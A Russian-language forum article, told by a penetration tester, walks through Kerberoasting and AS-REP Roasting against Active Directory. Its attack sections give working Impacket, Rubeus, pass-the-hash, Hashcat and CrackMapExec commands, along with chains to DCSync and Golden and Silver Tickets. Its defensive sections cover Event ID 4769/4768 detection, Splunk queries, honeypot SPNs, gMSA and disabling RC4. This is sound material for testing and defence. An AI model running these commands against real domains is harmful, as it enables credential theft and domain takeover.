Статья записана со слов моего коллеги - практикующего пентестера, который регулярно работает с Active Directory на внутренних проектах. Дальше повествование от первого лица.
Когда я провожу внутренний пентест, первое, что делаю после получения доменной учётки - проверяю, есть ли в домене Kerberoastable-аккаунты и пользователи без преаутентификации. В восьми из десяти проектов это даёт хотя бы одну сервисную учётку со слабым паролем и прямой путь к повышению привилегий. Ни один антивирус не пикнет, потому что всё, что я делаю - легитимные запросы к KDC, предусмотренные самим протоколом Kerberos. Штатная функция, а не эксплойт.
Дальше разберу атаки на Active Directory аутентификацию через Kerberoasting и AS-REP Roasting: от разведки через LDAP до офлайн-крекинга в Hashcat и детектирования каждого шага по Event ID. Не абстрактно - с конкретными командами, флагами и объяснением, почему выбран именно такой подход.
Kerberos за 90 секунд - что нужно знать для атаки
Перед тем как ломать, надо понимать протокол. Kerberos работает на билетной системе из трёх участников: клиент, KDC (Key Distribution Center, он же контроллер домена) и целевой сервис.
Упрощённый флоу:
- AS-REQ → AS-REP: клиент шлёт запрос аутентификации на KDC. Если преаутентификация включена, запрос содержит временную метку, зашифрованную хэшем пароля пользователя. KDC проверяет метку и возвращает TGT (Ticket Granting Ticket).
- TGS-REQ → TGS-REP: клиент предъявляет TGT и запрашивает сервисный билет (TGS) для конкретного SPN (Service Principal Name). KDC возвращает TGS, зашифрованный хэшем пароля сервисного аккаунта.
- AP-REQ: клиент предъявляет TGS целевому сервису.
Критический момент для пентестера: на шаге 2 KDC
не проверяет, имеет ли запрашивающий пользователь право доступа к сервису. Любой доменный пользователь может запросить TGS для любого SPN. Исключения: члены группы Protected Users не могут аутентифицироваться через RC4, а Kerberos Armoring (FAST) добавляет дополнительный уровень защиты на этапе запроса. Но в дефолтной конфигурации - карт-бланш. А часть билета зашифрована хэшем пароля сервисной учётки - именно эту часть мы будем крекать офлайн.
Kerberoasting атака - полный цикл
Kerberoasting (T1558.003, Credential Access по MITRE ATT&CK) - постэксплуатационная техника для извлечения зашифрованных учётных данных сервисных аккаунтов из Active Directory. Любой аутентифицированный доменный пользователь может провернуть это - привилегии Domain Admin не нужны.
Разведка - поиск SPN через LDAP
Первый шаг - найти аккаунты, к которым привязаны SPN. Тут важно не путать: SPN на
машинных аккаунтах (host-based SPN) нам неинтересны. Их пароли - 240 байт криптографически случайных данных, которые ротируются каждые 30 дней по умолчанию (параметр
Код:
Domain member: Maximum machine account password age
). Крекать их бессмысленно. Нас интересуют SPN на
пользовательских аккаунтах - их пароли задаёт человек, и они часто живут годами без ротации.
Через PowerShell, если работаю с Windows-хоста:
Код:
Код:
# Поиск пользовательских аккаунтов с SPN
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, PasswordLastSet, MemberOf | Select-Object Name, ServicePrincipalName, PasswordLastSet, MemberOf
Поле
- критично. Если пароль не менялся 3+ года, шанс на успешный крек сильно выше.
покажет, стоит ли аккаунт в привилегированных группах.
Через BloodHound - после сбора данных SharpHound'ом - Kerberoastable-аккаунты находятся встроенным запросом
List all Kerberoastable Accounts.
BloodHound покажет не просто список, а пути от скомпрометированной учётки до цели - то, чего обычный LDAP-запрос не даст.
Через CrackMapExec с Linux-хоста:
Bash:
Код:
# Перечисление Kerberoastable аккаунтов
crackmapexec ldap dc01.corp.local -u user -p
'Password123'
--kerberoasting output.txt
Запрос TGS и извлечение хэшей
После обнаружения целей запрашиваем сервисные билеты. Два основных инструмента: Impacket (с Linux) и Rubeus (с Windows).
Impacket - GetUserSPNs.py:
🔓 Часть контента скрыта: Эксклюзивный контент для зарегистрированных пользователей.
Зарегистрироваться
или
Войти
Bash:
Код:
# Запрос TGS для всех Kerberoastable аккаунтов
python3 GetUserSPNs.py corp.local/user:Password123 -dc-ip
10.10
.10.1 -request -outputfile tgs_hashes.txt
Флаги:
- - явно указываем IP контроллера домена; без него скрипт попытается резолвить через DNS, что не всегда работает из внешней сети
- - собственно запрос TGS; без этого флага скрипт просто выведет список аккаунтов с SPN
- - сохраняет хэши в формате, готовом для Hashcat
Если пароля нет, но есть NTLM-хэш (например, после Responder). Формат:
Код:
-hashes LMHASH:NTHASH
, где LM-часть обычно
Код:
aad3b435b51404eeaad3b435b51404ee
(пустой LM), а NT-часть - реальный хэш:
Bash:
Код:
# Kerberoasting через pass-the-hash
python3 GetUserSPNs.py corp.local/user -hashes aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b -dc-ip
10.10
.10.1 -request -outputfile tgs_hashes.txt
Rubeus с Windows-хоста:
Код:
Код:
# Запрос TGS для всех Kerberoastable аккаунтов
.\Rubeus.exe kerberoast /outfile:tickets.txt
Rubeus по умолчанию запрашивает билеты с RC4-шифрованием (etype 23). Это можно изменить:
Код:
Код:
# Форсировать AES-шифрование (тише, но крек медленнее)
.\Rubeus.exe kerberoast /enctype:aes256 /outfile:tickets_aes.txt
Момент, который часто упускают: если в домене принудительно отключён RC4 и включён только AES, Rubeus с дефолтными параметрами вернёт ошибку. На одном проекте я потратил час, разбираясь с
, пока не догадался заглянуть в GPO - там стояло
Configure encryption types allowed for Kerberos только с AES-128 и AES-256. В таком случае
спасает - билет получишь, но крек займёт значительно больше времени.
Взлом Kerberos хэшей - Hashcat и режимы
Хэши из TGS-билетов крекаются офлайн - KDC об этом не узнает, логов не будет. Тишина.
Bash:
Код:
# RC4 (etype 23) - Hashcat mode 13100
hashcat -m
13100
tgs_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# AES-256 (etype 18) - Hashcat mode 19700
hashcat -m
19700
tgs_hashes_aes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Разница в скорости - колоссальная. На GPU уровня RTX 4090:
- RC4 (mode 13100): сотни тысяч хэшей в секунду
- AES-256 (mode 19700): на порядки медленнее
Именно поэтому атакующие предпочитают RC4 - и именно поэтому его отключение на стороне защиты так важно. Microsoft до сих пор поддерживает RC4 для обратной совместимости (спасибо, мелкософт), что делает Kerberoasting-атаки быстрее и проще, чем могло бы быть.
Правила (
) увеличивают эффективность перебора:
берёт каждое слово из словаря и создаёт 64 мутации - добавление цифр, замена символов, смена регистра. Для сервисных аккаунтов, где пароли часто вида
или
, это работает отлично.
Что даёт успешный Kerberoasting
Получив пароль сервисного аккаунта, атакующий наследует все его права. Если учётка в Domain Admins - игра окончена. Если нет - она часто имеет доступ к базам данных (SQL Server), файловым шарам или используется для делегирования, что открывает путь к lateral movement. По данным CrowdStrike, после получения учётных данных через Kerberoasting атакующий может красть данные, повышать привилегии и закрепляться бэкдорами.
AS-REP Roasting - когда пароль не нужен даже для запроса
AS-REP Roasting (T1558.004, Credential Access по MITRE ATT&CK) эксплуатирует аккаунты с отключённой преаутентификацией Kerberos. В отличие от Kerberoasting, здесь даже не нужна валидная доменная учётка - достаточно знать имя пользователя.
Напомню механику: при обычной аутентификации клиент шлёт AS-REQ с зашифрованной временной меткой. Если преаутентификация отключена (
Код:
DONT_REQUIRE_PREAUTH
), KDC вернёт AS-REP с частью данных, зашифрованных хэшем пароля пользователя,
без проверки подлинности запроса. Согласно MITRE ATT&CK, для каждого такого аккаунта атакующий может отправить AS-REQ без зашифрованной метки и получить AS-REP с данными, которые могут быть зашифрованы небезопасным алгоритмом вроде RC4.
Поиск аккаунтов без преаутентификации
Код:
Код:
# PowerShell - поиск аккаунтов с DONT_REQUIRE_PREAUTH
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth | Select-Object Name, DistinguishedName
Встречается чаще, чем кажется. По данным HackTheBox, на одном из реальных пентестов все учётные записи имели отключённую преаутентификацию из-за сбоя внутреннего приложения - админы включили эту настройку «временно», и она продержалась почти два года. Классика: нет ничего более постоянного, чем временное.
Получение AS-REP и крекинг
Impacket - GetNPUsers.py:
Bash:
Код:
# С доменной учёткой - найдёт все уязвимые аккаунты автоматически
python3 GetNPUsers.py corp.local/user:Password123 -dc-ip
10.10
.10.1 -request -outputfile asrep_hashes.txt
# Без учётки - нужен список юзернеймов
python3 GetNPUsers.py corp.local/ -dc-ip
10.10
.10.1 -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt
Флаг
сразу выдаёт хэши в формате mode 18200.
Rubeus:
Код:
Код:
.\Rubeus.exe asreproast /outfile:asrep_hashes.txt
Крекинг:
Bash:
Код:
# AS-REP hash - Hashcat mode 18200
hashcat -m
18200
asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
Режим 18200 крекает быстро - сравнимо с RC4-билетами из Kerberoasting. Если пароль словарный, результат через минуты.
Реальные кейсы использования AS-REP Roasting
Это не теоретическая угроза. По исследованию The DFIR Report, группировка BlackSuit использовала AS-REP Roasting в атаках с ransomware - целились в аккаунты с отключённой преаутентификацией для получения первоначального доступа к паролям. Группировка Diavol (MITRE ATT&CK Software S0659) действовала аналогично: захват зашифрованных AS-REP-ответов с последующим офлайн-взломом для получения plaintext-паролей.
Детектирование Kerberoasting и AS-REP Roasting
Переключаюсь в режим Purple Team. Каждая из описанных атак оставляет следы в логах контроллера домена - вопрос в том, сможете ли вы отличить атаку от легитимной активности среди тысяч событий Kerberos в минуту.
Event ID 4769 - детектирование Kerberoasting
Event ID 4769 (
A Kerberos service ticket was requested) генерируется при каждом запросе TGS. В корпоративной среде таких событий - тысячи в минуту. Тупо мониторить 4769 - утонете в шуме.
Ключевые поля для фильтрации:
- Ticket Encryption Type = 0x17 (RC4-HMAC). В среде с настроенным AES запросы с RC4 - аномалия. Все основные инструменты (Impacket, Rubeus) по умолчанию запрашивают именно RC4
- Количество запросов от одного пользователя. Один аккаунт запросил TGS для 15 разных SPN за 30 секунд - это разведка или Kerberoasting, а не нормальная работа
Пример запроса для Splunk:
Код:
Код:
index=windows EventCode=4769 Ticket_Encryption_Type="0x17"
| bin _time span=5m
| stats count by _time, Account_Name, Service_Name
| where count > 10
Для ELK/OpenSearch логика аналогична - фильтр по
Код:
winlog.event_id: 4769
и
Код:
winlog.event_data.TicketEncryptionType: "0x17"
.
Event ID 4768 - детектирование AS-REP Roasting
Event ID 4768 (
A Kerberos authentication ticket (TGT) was requested) - основной индикатор AS-REP Roasting. По детальным разборам HackTheBox и Semperis, три условия в связке дают высокоточный индикатор:
- Pre-Authentication Type = 0 (отключена). Главное условие - без него атака невозможна. Фильтрация только по этому полю уже убирает ~90% шума
- Service Name = krbtgt. При аутентификации через Kerberos сервисом всегда выступает krbtgt
- Ticket Encryption Type = 0x17 (RC4). Атакующие запрашивают RC4, потому что он быстрее крекается
Когда все три совпали - вероятность false positive минимальна.
Пример запроса для Splunk:
Код:
Код:
index=windows EventCode=4768 Pre_Authentication_Type=0 Ticket_Encryption_Type="0x17" Service_Name="krbtgt"
| table _time, Account_Name, Client_Address, Ticket_Encryption_Type
Нюанс: Event ID 4768 покажет
жертву (аккаунт, для которого запросили AS-REP), но не покажет,
кто запросил. Чтобы вычислить атакующего, нужна корреляция: по
из 4768 ищем аутентификацию на этом хосте - Event ID 4624 с тем же IP покажет, под каким аккаунтом работал атакующий.
Honeypot SPN - ловушка с нулевым false positive
Этот приём работает лучше любого SIEM-правила. Создаёте в AD сервисный аккаунт с аппетитным SPN (например,
Код:
MSSQLSvc/sqlprod.corp.local:1433
), ставите на него пароль в 30+ символов со спецсимволами, и никогда не используете в продакшене. Аккаунт не привязан к реальному сервису - никто не должен запрашивать для него TGS.
Появление Event ID 4769 с
, указывающим на этот аккаунт, - стопроцентный индикатор Kerberoasting. Ноль false positive, потому что легитимного трафика к этому SPN быть не может. Красота.
По данным Zscaler, такой deception-based подход позволяет остановить атаку автоматически: при срабатывании алерт уходит в EDR с командой на изоляцию хоста. Это быстрее любой корреляции в SIEM.
Практический совет: создайте несколько honeypot-аккаунтов с разными типами SPN (MSSQL, HTTP, exchangeMDB). Rubeus и GetUserSPNs.py запрашивают все SPN разом - любой из honeypot'ов сработает как растяжка.
Защита - что реально работает в корпоративных AD-средах
gMSA и политика паролей для сервисных аккаунтов
Group Managed Service Accounts (gMSA) - самое эффективное средство против Kerberoasting. Пароли gMSA - 240 байт криптографически случайных данных, ротируются автоматически каждые 30 дней. Крекать бессмысленно. По рекомендациям CrowdStrike, gMSA полностью снимают риск, связанный с ручным управлением паролями сервисных учёток.
Если gMSA неприменим (старые приложения, специфические конфигурации) - минимум 25 символов со спецсимволами и принудительная ротация. На бумаге это базовая рекомендация, но на практике я встречаю сервисные аккаунты с паролями вроде
в каждом втором проекте. На заборе тоже написано «сложный пароль обязателен».
Отключение RC4 и форсирование AES
Это одновременно замедляет крекинг и делает атаку заметнее в логах. Двойной профит.
Через GPO:
Computer Configuration → Policies → Windows Settings → Security Settings → Local Policies → Security Options → Network security: Configure encryption types allowed for Kerberos.
Оставьте только:
- AES128_HMAC_SHA1
- AES256_HMAC_SHA1
Предупреждение из практики: перед отключением RC4 проведите аудит. Некоторые legacy-приложения и старые ОС (Windows Server 2003, некоторые Linux-клиенты со старым MIT Kerberos) не поддерживают AES. Отключите RC4 без проверки - сломаете аутентификацию для этих систем, и в понедельник утром вас будут искать с фонарями.
После отключения RC4 любой запрос TGS с
в логах становится явной аномалией, что сильно упрощает детектирование.
Аудит SPN и аккаунтов без преаутентификации
Регулярная проверка - раз в квартал минимум:
Код:
Код:
# Аккаунты с SPN (потенциальные цели Kerberoasting)
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, PasswordLastSet |
Where-Object { $_.PasswordLastSet -lt (Get-Date).AddYears(-1) } |
Select-Object Name, ServicePrincipalName, PasswordLastSet
# Аккаунты без преаутентификации (цели AS-REP Roasting)
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth |
Select-Object Name, DistinguishedName
Первый запрос покажет аккаунты с SPN, пароль которых не менялся больше года - приоритетные цели для атакующего. Второй - аккаунты, уязвимые к AS-REP Roasting.
PingCastle позволяет проводить комплексный аудит безопасности домена и выявлять подобные проблемы автоматически - рекомендую прогнать хотя бы раз, результаты часто отрезвляют.
Связь с другими атаками на Active Directory
Kerberoasting и AS-REP Roasting редко существуют в изоляции. На реальном пентесте они - звено цепочки:
Kerberoasting → DCSync (T1003.006): получили пароль сервисного аккаунта с правами репликации → выгрузили хэши всех пользователей через DCSync → создали Golden Ticket (T1558.001) с хэшем krbtgt. Домен - наш.
AS-REP Roasting → Pass the Ticket (T1550.003): получили пароль пользователя → запросили TGT → используем для lateral movement без повторной аутентификации.
Kerberoasting → Silver Ticket (T1558.002): получили пароль сервисного аккаунта → создали поддельный TGS для целевого сервиса без обращения к KDC → доступ к ресурсу без следов в логах контроллера домена. Тихо, как в библиотеке.
Для пентестера важно видеть полную картину. BloodHound покажет, что аккаунт
Kerberoastable, состоит в группе
, и через это членство можно добраться до NTDS.dit. Это не три отдельные техники - это один путь атаки.
Практический чек-лист: пентест AD аутентификации
🔓 Часть контента скрыта: Эксклюзивный контент для зарегистрированных пользователей.
Зарегистрироваться
или
Войти
Пошаговый план для
внутреннего пентеста - делай раз, делай два, делай три:
Шаг 1: Разведка (Domain Account Discovery, T1087.002)
Bash:
Код:
# Список Kerberoastable аккаунтов (без запроса билетов)
python3 GetUserSPNs.py corp.local/user:Password123 -dc-ip
10.10
.10.1
# Список аккаунтов без преаутентификации
python3 GetNPUsers.py corp.local/user:Password123 -dc-ip
10.10
.10.1
Шаг 2: Kerberoasting
Bash:
Код:
python3 GetUserSPNs.py corp.local/user:Password123 -dc-ip
10.10
.10.1 -request -outputfile tgs_hashes.txt
Шаг 3: AS-REP Roasting
Bash:
Код:
# При наличии учётных данных -request не обязателен (автоматически запрашивает AS-REP)
python3 GetNPUsers.py corp.local/user:Password123 -dc-ip
10.10
.10.1 -outputfile asrep_hashes.txt -format hashcat
Шаг 4: Крекинг
Bash:
Код:
# Kerberoasting RC4
hashcat -m
13100
tgs_hashes.txt wordlist.txt -r best64.rule
# AS-REP
hashcat -m
18200
asrep_hashes.txt wordlist.txt -r best64.rule
Шаг 5: Валидация
Bash:
Код:
# Проверка полученных учётных данных
crackmapexec smb
10.10
.10.1 -u svc_sql -p
'CrackedPassword123'
Шаг 6: Документирование для Purple Team
Зафиксируйте время каждого действия. После теста передайте SOC-команде timestamps - пусть проверят, что сгенерировалось в логах. Если ни один из ваших запросов не породил алерт - у них проблема, и лучше узнать об этом сейчас, а не когда придёт настоящий гость.
Сравнение Kerberoasting и AS-REP Roasting
ПараметрKerberoastingAS-REP RoastingMITRE ATT&CKT1558.003T1558.004Нужна доменная учёткаДаНет (достаточно имён пользователей)Целевой аккаунтС привязанным SPNС отключённой преаутентификациейТип билетаTGS (сервисный)AS-REP (аутентификационный)Event ID для детекта47694768Hashcat mode (RC4)1310018200Hashcat mode (AES-256)1970019900 (если в домене отключён RC4; значительно медленнее)Частота в реальных средахВысокаяСредняяОснов ная защитаgMSA, длинные пароли, отключение RC4Включить преаутентификацию
Итоги
Kerberoasting и AS-REP Roasting - атаки на Active Directory аутентификацию, которые не требуют привилегий, не используют малварь и эксплуатируют штатные механизмы протокола Kerberos. Защита строится на трёх уровнях: усиление паролей (gMSA, 25+ символов), ограничение криптографии (только AES), мониторинг (Event ID 4769/4768 с фильтрацией по etype и honeypot SPN). Ни один из уровней не работает в одиночку - только в связке.
Если вы пентестер - проверяйте эти вектора первыми, они дают результат быстрее всего. Если на стороне защиты - прямо сейчас запустите два PowerShell-запроса из раздела «Аудит». Список из двадцати учёток, полученный за пять минут, покажет реальную поверхность атаки вашего домена. Если в этом списке есть аккаунт с
трёхлетней давности и членством в Domain Admins - у вас та самая проблема, о которой вся эта статья.
Древовидный вид